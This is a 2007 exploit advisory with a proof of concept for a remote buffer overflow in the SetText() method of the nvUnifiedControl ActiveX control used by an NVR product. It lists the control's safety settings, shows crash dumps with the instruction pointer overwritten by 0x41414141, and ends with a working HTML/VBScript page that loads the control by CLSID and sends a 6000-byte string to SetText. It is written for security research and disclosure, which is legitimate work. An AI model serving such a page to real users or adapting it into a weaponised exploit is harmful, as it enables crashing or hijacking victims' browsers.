nvr-settext-dos.txt
Posted on 28 August 2007
----------------------------------------------------------------------------------- NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0) "SetText()" Remote BoF url: http://www.acti.com/index.asp author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. This control is marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller KillBitSet: Falso Here it is a dump from faultmon: 11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [4141447D]) ---------------------------------------------------------------- EAX=05494A60: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 EBX=00001770: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESP=0188EC38: 2C ED 88 01 00 00 00 00-18 6F B3 04 58 E0 34 05 EBP=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESI=05499B70: 73 6F 6D 65 74 68 69 6E-67 00 00 00 00 00 00 00 EDI=05492390: 68 D0 89 05 70 17 00 00-71 17 00 00 72 17 00 00 EIP=0527BC3D: 8B 82 3C 03 00 00 8B 94-24 DC 00 00 00 51 0F BF --> MOV EAX,[EDX+0000033C] ---------------------------------------------------------------- 11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [41414141]) ---------------------------------------------------------------- EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00 ESP=0188E868: BF 37 91 7C 50 E9 88 01-DC EC 88 01 6C E9 88 01 EBP=0188E888: 38 E9 88 01 8B 37 91 7C-50 E9 88 01 DC EC 88 01 ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? --> N/A ---------------------------------------------------------------- ----------------------------------------------------------------------------------- <object classid='clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe buff = String(6000, "A") test.SetText 1, buff, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1 End Sub </script>
